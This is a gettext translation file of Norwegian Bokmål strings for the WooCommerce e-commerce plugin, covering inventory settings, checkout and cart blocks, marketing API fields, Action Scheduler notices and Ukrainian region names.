msgid "Coupon removed: \"%s\"."
msgstr "Fjernet rabattkode: \"%s\"."
#. translators: %s: url for store settings
#: includes/admin/meta-boxes/views/html-product-data-inventory.php:137
msgid "Disabled in <a href=\"%s\" aria-label=\"stock management store settings\">store settings</a>."
msgstr "Slått av i <a href=\"%s\" aria-label=\"stock management store settings\">butikkinnstillinger</a>."
#: includes/admin/meta-boxes/views/html-product-data-inventory.php:134
msgid "Stock management disabled in store settings"
msgstr "Lagerstyring slått av i butikkinnstillinger"
#: includes/admin/meta-boxes/views/html-product-data-inventory.php:61
msgid "Track stock quantity for this product"
msgstr "Styr lagerbeholdning for dette produktet"
#: includes/admin/meta-boxes/views/html-product-data-inventory.php:60
#: includes/admin/meta-boxes/views/html-product-data-inventory.php:133
msgid "Stock management"
msgstr "Lagerstyring"
#: includes/admin/meta-boxes/views/html-product-data-inventory.php:48
msgid "Settings below apply to all variations without manual stock management enabled. "
msgstr "Innstillingene nedenfor gjelder for alle varianter uten manuell lagerstyring aktivert. "
#: includes/admin/class-wc-admin-assets.php:653
msgid "Enter options for customers to choose from, f.e. “Blue” or “Large”. Use “%s” to separate different options."
msgstr "Angi alternativer som kundene kan velge mellom, f.eks. \"Blå\" eller \"Stor\". Bruk \"%s\" for å skille mellom ulike alternativer."
#: includes/admin/importers/views/html-product-csv-import-form.php:84
msgid "Autodetect"
msgstr "Automatisk gjenkjenning"
#: includes/admin/importers/views/html-product-csv-import-form.php:82
msgid "Character encoding of the file"
msgstr "Tegnkoding av filen"
#: includes/admin/class-wc-admin-assets.php:646
msgid "Make sure you enter the name and values for each attribute."
msgstr "Sørg for å angi navn og verdier for hvert attributt."
#: assets/client/blocks/store-notices/block.json
msgctxt "block description"
msgid "Display shopper-facing notifications generated by WooCommerce or extensions."
msgstr "Vis varsler til kunder, generert av WooCommerce eller utvidelser."
#: assets/client/blocks/store-notices/block.json
msgctxt "block title"
msgid "Store Notices"
msgstr "Butikkmeldinger"
#: assets/client/blocks/product-results-count/block.json
msgctxt "block description"
msgid "Display the number of products on the archive page or search result page."
msgstr "Vis antall produkter på arkivsiden eller søkeresultatsiden."
#: assets/client/blocks/product-results-count/block.json
msgctxt "block title"
msgid "Product Results Count"
msgstr "Antall produktresultater"
#: assets/client/blocks/catalog-sorting/block.json
msgctxt "block description"
msgid "Enable customers to change the sorting order of the products."
msgstr "Gjør det mulig for kundene å endre sorteringsrekkefølgen for produktene."
#: assets/client/blocks/catalog-sorting/block.json
msgctxt "block title"
msgid "Catalog Sorting"
msgstr "Katalogsortering"
#: assets/client/blocks/breadcrumbs/block.json
msgctxt "block description"
msgid "Enable customers to keep track of their location within the store and navigate back to parent pages."
msgstr "Gjør det mulig for kundene å holde oversikt over hvor de befinner seg i butikken og navigere tilbake til overordnede sider."
#: assets/client/blocks/breadcrumbs/block.json
msgctxt "block title"
msgid "Store Breadcrumbs"
msgstr "Lagre navigasjonsstier"
#: assets/client/blocks/product-image-gallery/block.json
msgctxt "block description"
msgid "Display a product's images."
msgstr "Vis bilder av et produkt."
#: assets/client/blocks/product-image-gallery/block.json
msgctxt "block title"
msgid "Product Image Gallery"
msgstr "Produktbildegalleri"
#: src/Admin/Features/ShippingPartnerSuggestions/DefaultShippingPartners.php:51
msgid "Powerful yet easy-to-use solution:"
msgstr "Kraftig, men likevel brukervennlig løsning:"
#: src/Admin/Features/ShippingPartnerSuggestions/DefaultShippingPartners.php:83
msgid "30-day free trial"
msgstr "30 dagers gratis prøveperiode"
#: src/Admin/Features/ShippingPartnerSuggestions/DefaultShippingPartners.php:170
msgid "Optimize your full shipping process:"
msgstr "Optimaliser hele forsendelsesprosessen:"
#: src/Admin/Features/ShippingPartnerSuggestions/DefaultShippingPartners.php:205
msgid "Free shipping platform"
msgstr "Gratis fraktplattform"
#: src/Admin/Features/ShippingPartnerSuggestions/DefaultShippingPartners.php:201
msgid "Quickly bulk print labels"
msgstr "Rask masseutskrift av etiketter"
#: src/Admin/Features/ShippingPartnerSuggestions/DefaultShippingPartners.php:194
msgid "Access competitive shipping prices"
msgstr "Få tilgang til konkurransedyktige fraktpriser"
#: src/Admin/Features/ShippingPartnerSuggestions/DefaultShippingPartners.php:187
msgid "Direct access to leading carriers"
msgstr "Direkte tilgang til ledende transportører"
#: src/Admin/Features/ShippingPartnerSuggestions/DefaultShippingPartners.php:180
msgid "Automated, real-time order import"
msgstr "Automatisert ordreimport i sanntid"
#: src/Admin/Features/ShippingPartnerSuggestions/DefaultShippingPartners.php:37
msgid "Keep your customers informed with tracking notifications."
msgstr "Hold kundene dine informert med sporingsvarsler."
#: src/Admin/Features/ShippingPartnerSuggestions/DefaultShippingPartners.php:29
msgid "Shop for the best shipping rates, and access pre-negotiated discounted rates."
msgstr "Handle for de beste fraktprisene, og få tilgang til forhåndsforhandlede rabatterte priser."
#: src/Admin/Features/ShippingPartnerSuggestions/DefaultShippingPartners.php:28
msgid "Save money"
msgstr "Spar penger"
#: src/Admin/Features/ShippingPartnerSuggestions/DefaultShippingPartners.php:21
msgid "Automatically import order information to quickly print your labels."
msgstr "Importer ordreinformasjon automatisk for å skrive ut etikettene dine raskt."
#: src/Admin/Features/ShippingPartnerSuggestions/DefaultShippingPartners.php:20
msgid "Save time"
msgstr "Spar tid"
#: src/Internal/Admin/Logging/FileV2/FileListTable.php:199
#: assets/client/admin/app/index.js:2 assets/client/admin/embed/index.js:2
msgid "Date created"
msgstr "Dato opprettet"
#: src/Internal/Admin/Settings.php:343 assets/client/admin/app/index.js:2
#: assets/client/admin/embed/index.js:2
msgid "Database date field considered for Revenue and Orders reports"
msgstr "Datofelt i databasen som vurderes for rapporter om inntekter og ordrer"
#: src/Internal/Admin/Settings.php:342
msgid "Date Type"
msgstr "Dato Type"
#. translators: 1: Missing arguments list.
#: src/Internal/Admin/ProductForm/Tab.php:40
msgid "You are missing required arguments of WooCommerce ProductForm Tab: %1$s"
msgstr "Du mangler nødvendige argumenter for WooCommerce ProductForm Tab: %1$s"
#. translators: %s: List of invalid parameters.
#: src/StoreApi/Routes/V1/CartUpdateCustomer.php:112
#: src/StoreApi/Routes/V1/Checkout.php:328
msgid "Invalid parameter(s): %s"
msgstr "Ugyldig(e) parameter(er): %s"
#: src/StoreApi/Routes/V1/CartUpdateCustomer.php:90
#: src/StoreApi/Routes/V1/CartUpdateCustomer.php:101
msgid "Invalid parameter."
msgstr "Ugyldig parameter."
#. translators: 1. A formatted number; 2. A label for a dimensions unit of
#. measure. E.g. 3.14 cm.
#: includes/wc-formatting-functions.php:1438
msgctxt "formatted dimensions"
msgid "%1$s %2$s"
msgstr "%1$s %2$s"
#. translators: 1. A formatted number; 2. A label for a weight unit of measure.
#. E.g. 2.72 kg.
#: includes/wc-formatting-functions.php:1412
msgctxt "formatted weight"
msgid "%1$s %2$s"
msgstr "%1$s %2$s"
#: includes/admin/meta-boxes/views/html-product-data-attributes.php:23
msgid "Add descriptive pieces of information that customers can use to search for this product on your store, such as “Material” or “Size”."
msgstr "Legg til beskrivende informasjon som kundene kan bruke til å søke etter dette produktet i butikken din, for eksempel «Materiale» eller «Størrelse»."
#: assets/client/blocks/customer-account/block.json
msgctxt "block description"
msgid "A block that allows your customers to log in and out of their accounts in your store."
msgstr "En blokk som lar kundene dine logge inn og ut av kontoene sine i butikken din."
#: assets/client/blocks/customer-account/block.json
msgctxt "block title"
msgid "Customer account"
msgstr "Kundekonto"
#: assets/client/blocks/inner-blocks/checkout-shipping-methods-block/block.json
msgctxt "block description"
msgid "Display shipping options and rates for your store."
msgstr "Vis fraktalternativer og priser for butikken din."
#: assets/client/blocks/inner-blocks/checkout-shipping-method-block/block.json
msgctxt "block description"
msgid "Select between shipping or local pickup."
msgstr "Velg mellom frakt eller lokal henting."
#: assets/client/blocks/inner-blocks/checkout-pickup-options-block/block.json
msgctxt "block description"
msgid "Shows local pickup locations."
msgstr "Viser lokale hentesteder."
#: assets/client/blocks/inner-blocks/checkout-pickup-options-block/block.json
msgctxt "block title"
msgid "Pickup Method"
msgstr "Hentemåte"
#: src/Blocks/Shipping/PickupLocation.php:149
#: assets/client/blocks/wc-shipping-method-pickup-location.js:233
msgid "Pickup details"
msgstr "Hentedetaljer"
#. translators: %s is the name of the product in cart.
#. translators: %s is the product name
#. translators: %s refers to the item's name in the cart.
#: src/Blocks/BlockTypes/MiniCartProductsTableBlock.php:59
#: templates/cart/cart.php:66 templates/cart/mini-cart.php:53
#: assets/client/blocks/cart.js:11
#: assets/client/blocks/mini-cart-contents.js:12
#: assets/client/blocks/wc-cart-checkout-base-frontend.js:8
msgid "Remove %s from cart"
msgstr "Fjern %s fra handlekurven"
#. translators: %s refers to the item name in the cart.
#. translators: %s is the name of the product in cart.
#. translators: %s refers to the item's name in the cart.
#: src/Blocks/BlockTypes/AddToCartForm.php:85
#: src/Blocks/BlockTypes/AddToCartWithOptions/Utils.php:29
#: src/Blocks/BlockTypes/MiniCartProductsTableBlock.php:53
#: assets/client/blocks/cart.js:6 assets/client/blocks/mini-cart-contents.js:7
#: assets/client/blocks/wc-cart-checkout-base-frontend.js:5
msgid "Increase quantity of %s"
msgstr "Øk antall av %s"
#. translators: %s refers to the item name in the cart.
#. translators: %s is the name of the product in cart.
#: src/Blocks/BlockTypes/AddToCartForm.php:82
#: src/Blocks/BlockTypes/AddToCartWithOptions/Utils.php:26
#: src/Blocks/BlockTypes/MiniCartProductsTableBlock.php:50
#: assets/client/blocks/cart.js:4 assets/client/blocks/mini-cart-contents.js:5
#: assets/client/blocks/wc-cart-checkout-base-frontend.js:3
msgid "Reduce quantity of %s"
msgstr "Reduser antall av %s"
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:306
msgid "Don't charge tax"
msgstr "Ikke krev inn avgift"
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:302
msgid "Only shipping"
msgstr "Kun frakt"
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:298
msgid "Product and shipping"
msgstr "Produkt og frakt"
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:294
msgid "Charge sales tax on"
msgstr "Beregn merverdiavgift på"
#. translators: 1: line break tag.
#: src/Internal/Features/FeaturesController.php:1341
msgid ""
"%1$s This navigation will soon become unavailable while we make necessary improvements.\n"
"\t\t\t\t\t\t\t\t\tIf you turn it off now, you will not be able to turn it back on."
msgstr ""
"%1$s Denne navigasjonen vil snart bli utilgjengelig mens vi gjør nødvendige forbedringer.\n"
"\t\t\t\t\t\t\t\t\tHvis du slår den av nå, vil du ikke kunne slå den på igjen."
#: src/Internal/Features/FeaturesController.php:324
msgid "Try the new product editor (Beta)"
msgstr "Prøv det nye produktredigeringsverktøyet (beta)"
#: src/Internal/Features/FeaturesController.php:323
msgid "New product editor"
msgstr "Nytt produktredigeringsverktøy"
#. translators: 1: child product ID 2: parent product ID.
#: src/Internal/DownloadPermissionsAdjuster.php:123
msgid "Unable to load child product %1$d while adjusting download permissions for product %2$d."
msgstr "Kan ikke laste inn underproduktet «%1$d» under justering av nedlastingstillatelser for produktet «%2$d»."
#. translators: %s is a meta_query key.
#: src/Internal/DataStores/Orders/OrdersTableMetaQuery.php:200
msgid "Invalid meta_query clause key: %s."
msgstr "Ugyldig meta_query klausulnøkkel: %s."
#. translators: 1: Missing arguments list.
#: src/Internal/Admin/ProductForm/Section.php:36
msgid "You are missing required arguments of WooCommerce ProductForm Section: %1$s"
msgstr "Du mangler nødvendige argumenter for WooCommerce ProductForm Section: %1$s"
#. translators: 1: Item type 2: Duplicate registered item id.
#: src/Internal/Admin/ProductForm/FormFactory.php:266
msgid "You have attempted to register a duplicate form %1$s with WooCommerce Form: %2$s"
msgstr "Du har forsøkt å registrere et duplikatskjema %1$s med WooCommerce Form: %2$s"
#. translators: 1: missing class name.
#: src/Internal/Admin/ProductForm/FormFactory.php:256
msgid "%1$s class does not exist."
msgstr "%1$s-klassen finnes ikke."
#. translators: 1: Missing arguments list.
#: src/Internal/Admin/ProductForm/Field.php:41
msgid "You are missing required arguments of WooCommerce ProductForm Field: %1$s"
msgstr "You are missing required arguments of WooCommerce ProductForm Field: %1$s"
#: src/Admin/Marketing/MarketingChannels.php:34
msgid "Marketing channel cannot be registered because there is already a channel registered with the same slug!"
msgstr "Markedsføringskanalen kan ikke registreres fordi det allerede er registrert en kanal med samme slug!"
#: src/Admin/API/ProductForm.php:73
msgid "Sorry, you are not allowed to retrieve product form data."
msgstr "Beklager, du har ikke lov til å hente produktskjemadata."
#: src/Admin/API/MarketingRecommendations.php:97
msgid "The specified category for recommendations is invalid. Allowed values: \"channels\", \"extensions\"."
msgstr "Den angitte kategorien for anbefalinger er ugyldig. Tillatte verdier: \"channels\", \"extensions\"."
#: src/Admin/API/MarketingRecommendations.php:77
msgid "Sorry, you cannot view marketing channels."
msgstr "Beklager, du kan ikke se markedsføringskanaler."
#: src/Admin/API/MarketingChannels.php:182
msgid "Number of channel issues/errors (e.g. account-related errors, product synchronization issues, etc.)."
msgstr "Antall kanalproblemer/feil (f.eks. kontorelaterte feil, produktsynkroniseringsproblemer osv.)."
#: src/Admin/API/MarketingChannels.php:176
msgid "Status of the marketing channel's product listings."
msgstr "Status for markedsføringskanalens produktoppføringer."
#: src/Admin/API/MarketingChannels.php:170
msgid "URL to the settings page, or the link to complete the setup/onboarding if the channel has not been set up yet."
msgstr "Nettadressen til innstillingssiden, eller lenken for å fullføre oppsettet/onboarding hvis kanalen ikke er satt opp ennå."
#: src/Admin/API/MarketingChannels.php:165
msgid "Whether or not the marketing channel is set up."
msgstr "Om markedsføringskanalen er opprettet eller ikke."
#: src/Admin/API/MarketingChannels.php:158
msgid "Path to the channel icon."
msgstr "Sti til kanalikonet."
#: src/Admin/API/MarketingChannels.php:152
msgid "Description of the marketing channel."
msgstr "Beskrivelse av markedsføringskanalen."
#: src/Admin/API/MarketingChannels.php:146
msgid "Name of the marketing channel."
msgstr "Navn på markedsføringskanal."
#: src/Admin/API/MarketingChannels.php:140
msgid "Unique identifier string for the marketing channel extension, also known as the plugin slug."
msgstr "Unik identifikatorstreng for markedsføringskanalutvidelsen, også kjent som plugin slug."
#: src/Admin/API/MarketingCampaignTypes.php:199
msgid "URL to an image/icon for the campaign type."
msgstr "Nettadressen til et bilde/ikon for kampanjetypen."
#: src/Admin/API/MarketingCampaignTypes.php:193
msgid "URL to the create campaign page for this campaign type."
msgstr "Nettadresse til siden for å opprette kampanje for denne kampanjetypen."
#: src/Admin/API/MarketingCampaignTypes.php:185
msgid "The name of the marketing channel that this campaign type belongs to."
msgstr "Navnet på markedsføringskanalen som denne kampanjetypen tilhører."
#: src/Admin/API/MarketingCampaignTypes.php:179
msgid "The unique identifier of the marketing channel that this campaign type belongs to."
msgstr "Den unike identifikatoren for markedsføringskanalen som denne kampanjetypen tilhører."
#: src/Admin/API/MarketingCampaignTypes.php:173
msgid "The marketing channel that this campaign type belongs to."
msgstr "Markedsføringskanalen som denne kampanjetypen tilhører."
#: src/Admin/API/MarketingCampaignTypes.php:167
msgid "Description of the marketing campaign type."
msgstr "Beskrivelse av typen markedsføringskampanje."
#: src/Admin/API/MarketingCampaignTypes.php:161
msgid "Name of the marketing campaign type."
msgstr "Navn på typen markedsføringskampanje."
#: src/Admin/API/MarketingCampaignTypes.php:155
msgid "The unique identifier for the marketing campaign type."
msgstr "Den unike identifikatoren for markedsføringskampanjetypen."
#: src/Admin/API/MarketingCampaigns.php:261
msgid "Cost of the marketing campaign."
msgstr "Kostnader for markedsføringskampanjen."
#: src/Admin/API/MarketingCampaigns.php:255
msgid "URL to the campaign management page."
msgstr "Nettadresse til kampanjens administrasjonside."
#: src/Admin/API/MarketingCampaigns.php:249
msgid "Title of the marketing campaign."
msgstr "Tittel på markedsføringskampanjen."
#: src/Admin/API/MarketingCampaigns.php:243
msgid "The unique identifier for the marketing channel that this campaign belongs to."
msgstr "Den unike identifikatoren for markedsføringskanalen som denne kampanjen tilhører."
#: src/Admin/API/MarketingCampaigns.php:237
msgid "The unique identifier for the marketing campaign."
msgstr "Den unike identifikatoren for markedsføringskampanjen."
#: src/StoreApi/Utilities/CartController.php:956
msgctxt "shipping packages"
msgid "Shipment 1"
msgstr "Forsendelse 1"
#. translators: %d: shipping package number
#: src/StoreApi/Utilities/CartController.php:953
msgctxt "shipping packages"
msgid "Shipment %d"
msgstr "Forsendelse %d"
#: src/StoreApi/Routes/V1/CartSelectShippingRate.php:77
msgid "Invalid Rate ID."
msgstr "Ugyldig sats-ID."
#: src/StoreApi/Routes/V1/CartSelectShippingRate.php:48
msgid "The ID of the package being shipped. Leave blank to apply to all packages."
msgstr "ID-en til pakken som sendes. La feltet stå tomt for å gjelde alle pakker."
#: src/Blocks/Shipping/ShippingController.php:255
#: assets/client/blocks/wc-shipping-method-pickup-location.js:83
msgid "Optional cost to charge for local pickup."
msgstr "Valgfri kostnad å belaste for lokal henting."
#: src/Blocks/Shipping/ShippingController.php:250
#: assets/client/blocks/wc-shipping-method-pickup-location.js:83
msgid "If a cost is defined, this controls if taxes are applied to that cost."
msgstr "Hvis en kostnad er definert, styrer dette om det skal legges avgifter på denne kostnaden."
#: src/Blocks/Shipping/ShippingController.php:241
msgid "If enabled, this method will appear on the block based checkout."
msgstr "Hvis denne måten er slått på, vises den i den blokkbaserte kassen."
#: src/Blocks/Shipping/PickupLocation.php:147
msgid "Pickup address"
msgstr "Henteadresse"
#: src/Blocks/Shipping/PickupLocation.php:145
#: assets/client/blocks/wc-shipping-method-pickup-location.js:233
#: assets/client/blocks/wc-shipping-method-pickup-location.js:238
msgid "Pickup location"
msgstr "Hentested"
#: src/Blocks/Shipping/PickupLocation.php:32
#: assets/client/blocks/checkout.js:28
msgid "Allow customers to choose a local pickup location during checkout."
msgstr "La kundene velge et lokalt hentested i kassen."
#: src/Blocks/BlockTypes/CustomerAccount.php:220
#: assets/client/blocks/customer-account.js:1
msgid "My Account"
msgstr "Min konto"
#. translators: %d is an id.
#: packages/action-scheduler/classes/data-stores/ActionScheduler_DBStore.php:1178
msgid "Unable to release actions from claim id %d."
msgstr "Kan ikke frigjøre handlinger fra krav-id %d."
#: packages/action-scheduler/classes/data-stores/ActionScheduler_DBStore.php:530
msgid "Unknown partial args matching value."
msgstr "Ukjent delvis samsvarende verdi i argumentene."
#. translators: %s: provided value type
#: packages/action-scheduler/classes/data-stores/ActionScheduler_DBStore.php:508
msgid "The value type for the JSON partial matching is not supported. Must be either integer, boolean, double or string. %s type provided."
msgstr "Verditypen for delvis samsvar i JSON støttes ikke. Må være enten heltall, boolsk, dobbel eller streng. typen %s er oppgitt."
#: packages/action-scheduler/classes/data-stores/ActionScheduler_DBStore.php:490
msgid "JSON partial matching not supported in your environment. Please check your MySQL/MariaDB version."
msgstr "Delvis JSON-samsvar støttes ikke i ditt miljø. Sjekk din MySQL/MariaDB-versjon."
#: packages/action-scheduler/classes/ActionScheduler_ListTable.php:473
msgid "async"
msgstr "async"
#. translators: 1) is the number of affected actions, 2) is a link to an admin
#. screen.
#: packages/action-scheduler/classes/ActionScheduler_AdminView.php:220
msgid "<strong>Action Scheduler:</strong> %1$d <a href=\"%2$s\">past-due action</a> found; something may be wrong. <a href=\"https://actionscheduler.org/faq/#my-site-has-past-due-actions-what-can-i-do\" target=\"_blank\">Read documentation »</a>"
msgid_plural "<strong>Action Scheduler:</strong> %1$d <a href=\"%2$s\">past-due actions</a> found; something may be wrong. <a href=\"https://actionscheduler.org/faq/#my-site-has-past-due-actions-what-can-i-do\" target=\"_blank\">Read documentation »</a>"
msgstr[0] "<strong>Handlingsplanlegger:</strong> %1$d <a href=\"%2$s\">forfalt handling</a> funnet; noe kan være galt. <a href=\"https://actionscheduler.org/faq/#my-site-has-past-due-actions-what-can-i-do\" target=\"_blank\">Les dokumentasjon \"</a>"
msgstr[1] "<strong>Handlingsplanlegger:</strong> %1$d <a href=\"%2$s\">forfalte handlinger</a> funnet; noe kan være galt. <a href=\"https://actionscheduler.org/faq/#my-site-has-past-due-actions-what-can-i-do\" target=\"_blank\">Les dokumentasjon \"</a>"
#. translators: 1: action hook.
#: packages/action-scheduler/classes/actions/ActionScheduler_Action.php:80
msgid "Scheduled action for %1$s will not be executed as no callbacks are registered."
msgstr "Planlagt handling for %1$s vil ikke bli kjørt ettersom ingen tilbakekall er registrert."
#: packages/action-scheduler/classes/abstracts/ActionScheduler_Abstract_QueueRunner.php:170
msgid "This action appears to be consistently failing. A new instance will not be scheduled."
msgstr "Denne handlingen ser ut til å mislykkes konsekvent. En ny instans vil ikke bli planlagt."
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1826
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1832
msgid "Slug automatically generated from the product name."
msgstr "Identifikator genereres automatisk fra produktnavnet."
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1819
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1825
msgid "Permalink template for the product."
msgstr "Permalink mal for produktet."
#. translators: %s is file path.
#: includes/export/abstract-wc-csv-batch-exporter.php:133
msgid "Unable to create or write to %s during CSV export. Please check file permissions."
msgstr "Kunne ikke opprette eller skrive til %s under CSV-eksport. Sjekk filrettigheter."
#: includes/class-wc-countries.php:494
msgctxt "shipping country prefix"
msgid "to"
msgstr "til"
#: includes/class-wc-countries.php:494
msgctxt "shipping country prefix"
msgid "to the"
msgstr "til"
#: assets/client/blocks/active-filters/block.json
msgctxt "block title"
msgid "Active Filters Controls"
msgstr "Kontroller for aktive filtre"
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:1112
msgid "Manage individual product combinations created from options."
msgstr "Administrer individuelle produktkombinasjoner laget av alternativer."
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:352
#: assets/client/admin/product-editor/blocks/product-fields/summary/edit.js:1
#: assets/client/admin/product-editor/index.js:2
msgid "Summarize this product in 1-2 short sentences. We'll show it at the top of the page."
msgstr "Oppsummer dette produktet i 1-2 korte setninger. Vi viser det øverst på siden."
#: templates/emails/customer-on-hold-order.php:44
#: templates/emails/plain/customer-on-hold-order.php:34
msgid "Thanks for your order. It’s on-hold until we confirm that payment has been received."
msgstr "Takk for ordren din. Den er på vent til vi får bekreftet at betalingen er mottatt."
#. translators: %1$d order ID.
#: src/Internal/DataStores/Orders/OrdersTableDataStore.php:1567
msgid "Unable to load the post record for order %1$d"
msgstr "Kan ikke laste post record for ordre %1$d"
#. translators: 1: method name.
#: src/Internal/DataStores/Orders/DataSynchronizer.php:543
msgid "%1$s was called but no order types were registered: it may have been called too early."
msgstr "%1$s ble kalt, men ingen ordretyper ble registrert: den kan ha blitt kalt for tidlig."
#: src/Internal/DataStores/Orders/CustomOrdersTableController.php:282
msgid "This will delete the custom orders tables. To create them again enable the \"High-Performance order storage\" feature (via Settings > Advanced > Features)."
msgstr "Dette vil slette de tilpassede ordretabellene. For å opprette dem igjen, slå på funksjonen \"Høyytelses ordrelagring\" (via Innstillinger > Avansert > Funksjoner)."
#: src/Internal/DataStores/Orders/CustomOrdersTableController.php:279
msgid "This will delete the custom orders tables. The tables can be deleted only if the \"High-Performance order storage\" is not authoritative and sync is disabled (via Settings > Advanced > Features)."
msgstr "Dette vil slette de tilpassede ordretabellene. Tabellene kan bare slettes dersom \"Høyytelses ordrelagring\" ikke er autoritativ og synkronisering er deaktivert (via Innstillinger > Avansert > Funksjoner)."
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:170
msgid "Get your products in front of Pinners searching for ideas and things to buy."
msgstr "Få produktene dine foran Pinners som søker etter ideer og ting å kjøpe."
#. translators: %s is a custom order type.
#: src/Internal/Admin/Orders/PageController.php:495
msgid "Invalid order type: %s."
msgstr "Ugyldig ordretype: %s."
#. translators: %d order ID.
#: src/Internal/Admin/Orders/PageController.php:443
msgid "Attempted to determine the edit URL for order %d, however the order does not exist."
msgstr "Forsøkte å finne redigeringsadressen for ordre %d, men ordren eksisterer ikke."
#: src/Internal/Admin/Orders/PageController.php:64
msgid "Order type mismatch."
msgstr "Ordretype samsvarer ikke."
#: src/Internal/Admin/CustomerEffortScoreTracks.php:614
msgid "Product attributes' functionality meets my needs."
msgstr "Produktattributtenes funksjonalitet oppfyller mine behov."
#: src/Internal/Admin/CustomerEffortScoreTracks.php:610
msgid "Product attributes are easy to use."
msgstr "Produktattributter er enkle å bruke."
#: src/Internal/Admin/CustomerEffortScoreTracks.php:583
msgid "The settings screen's functionality meets my needs."
msgstr "Innstillingsskjermens funksjonalitet oppfyller mine behov."
#: src/Internal/Admin/CustomerEffortScoreTracks.php:579
msgid "The settings screen is easy to use."
msgstr "Innstillingsskjermen er enkel å bruke."
#: src/Internal/Admin/CustomerEffortScoreTracks.php:540
msgid "The product import process meets my needs."
msgstr "Produktimportprosessen oppfyller mine behov."
#: src/Internal/Admin/CustomerEffortScoreTracks.php:536
msgid "The product import process is easy to complete."
msgstr "Produktimportprosessen er enkel å fullføre."
#: src/Internal/Admin/CustomerEffortScoreTracks.php:511
msgid "The product tag details screen's functionality meets my needs."
msgstr "Funksjonen til skjermen med produktetikettdetaljer oppfyller mine behov."
#: src/Internal/Admin/CustomerEffortScoreTracks.php:510
msgid "The product tag details screen is easy to use."
msgstr "Skjermen med produktetikettdetaljer er enkel å bruke."
#: src/Internal/Admin/CustomerEffortScoreTracks.php:493
msgid "The product category details screen's functionality meets my needs."
msgstr "Produktkategoridetaljer-skjermens funksjonalitet oppfyller mine behov."
#: src/Internal/Admin/CustomerEffortScoreTracks.php:492
msgid "The product category details screen is easy to use."
msgstr "Skjermen med produktkategoridetaljer er enkel å bruke."
#: src/Internal/Admin/CustomerEffortScoreTracks.php:428
msgid "The order details screen's functionality meets my needs."
msgstr "Ordreredigeringens funksjonalitet oppfyller mine behov."
#: src/Internal/Admin/CustomerEffortScoreTracks.php:424
msgid "The order details screen is easy to use."
msgstr "Skjermen med ordredetaljer er enkel å bruke."
#: src/Internal/Admin/CustomerEffortScoreTracks.php:395
msgid "The product update process meets my needs."
msgstr "Produktoppdateringsprosessen oppfyller mine behov."
#: src/Internal/Admin/CustomerEffortScoreTracks.php:391
msgid "The product update process is easy to complete."
msgstr "Produktoppdateringsprosessen er enkel å fullføre."
#: src/Internal/Admin/CustomerEffortScoreTracks.php:362
msgid "The product creation screen's functionality meets my needs."
msgstr "Produktopprettingsskjermens funksjonalitet oppfyller mine behov."
#: src/Internal/Admin/CustomerEffortScoreTracks.php:358
msgid "The product creation screen is easy to use."
msgstr "Produktopprettingsskjermen er enkel å bruke."
#: src/Internal/Admin/CustomerEffortScoreTracks.php:288
#: assets/client/admin/customer-effort-score/index.js:1
msgid "The search's functionality meets my needs."
msgstr "Søkets funksjonalitet oppfyller mine behov."
#: src/Internal/Admin/CustomerEffortScoreTracks.php:284
#: assets/client/admin/customer-effort-score/index.js:1
msgid "The search feature in WooCommerce is easy to use."
msgstr "Søkefunksjonen i WooCommerce er enkel å bruke."
#: src/Blocks/Templates/ProductAttributeTemplate.php:44
msgid "Displays products filtered by an attribute."
msgstr "Viser produkter filtrert på en attributt."
#: src/Blocks/Templates/ProductAttributeTemplate.php:35
msgctxt "Template name"
msgid "Products by Attribute"
msgstr "Produkter etter attributt"
#. translators: %1$s: Product link opening tag. %2$s: Product link closing tag.
#: includes/admin/class-wc-admin-post-types.php:141
msgid "Product published. %1$sView Product%2$s"
msgstr "Produkt publisert. %1$sSe produkt%2$s"
#. translators: %1$s: Product link opening tag. %2$s: Product link closing tag.
#: includes/admin/class-wc-admin-post-types.php:135
msgid "Product updated. %1$sView Product%2$s"
msgstr "Produkt oppdatert. %1$sSe produkt%2$s"
#. translators: %1$s: maximum file size
#: includes/admin/class-wc-admin-assets.php:648
msgid "For best results, upload JPEG or PNG files that are 1000 by 1000 pixels or larger. Maximum upload file size: %1$s."
msgstr "For best resultat, last opp JPEG- eller PNG-filer som er 1000 x 1000 piksler eller større. Maksimal filstørrelse for opplasting: %1$s."
#: i18n/states.php:1962
msgid "Chernihivshchyna"
msgstr "Chernihivshchyna"
#: i18n/states.php:1961
msgid "Cherkashchyna"
msgstr "Cherkashchyna"
#: i18n/states.php:1960
msgid "Khmelnychchyna"
msgstr "Khmelnychchyna"
#: i18n/states.php:1959
msgid "Khersonshchyna"
msgstr "Khersonshchyna"
#: i18n/states.php:1958
msgid "Kharkivshchyna"
msgstr "Kharkivshchyna"
#: i18n/states.php:1957
msgid "Ternopilshchyna"
msgstr "Ternopilshchyna"
#: i18n/states.php:1956
msgid "Sumshchyna"
msgstr "Sumshchyna"
#: i18n/states.php:1955
msgid "Rivnenshchyna"
msgstr "Rivnenshchyna"
#: i18n/states.php:1954
msgid "Poltavshchyna"
msgstr "Poltavshchyna"
#: i18n/states.php:1953
msgid "Odeshchyna"
msgstr "Odeshchyna"
#: i18n/states.php:1952
msgid "Mykolayivschyna"
msgstr "Mykolayivschyna"
#: i18n/states.php:1951
msgid "Lvivshchyna"
msgstr "Lvivshchyna"
#: i18n/states.php:1950
msgid "Crimea"
msgstr "Krym"
#: i18n/states.php:1949
msgid "Sevastopol"
msgstr "Sevastopol"
#: i18n/states.php:1948
msgid "Kirovohradschyna"
msgstr "Kirovohradschyna"
#: i18n/states.php:1947
msgid "Kyivshchyna"
msgstr "Kyivshchyna"
#: i18n/states.php:1946
msgid "Kyiv"
msgstr "Kyiv"
#: i18n/states.php:1945
msgid "Prykarpattia"
msgstr "Prykarpattia"
#: i18n/states.php:1944
msgid "Zaporizhzhya"
msgstr "Zaporizhzhya"
#: i18n/states.php:1943
msgid "Zakarpattia"
msgstr "Zakarpattia"
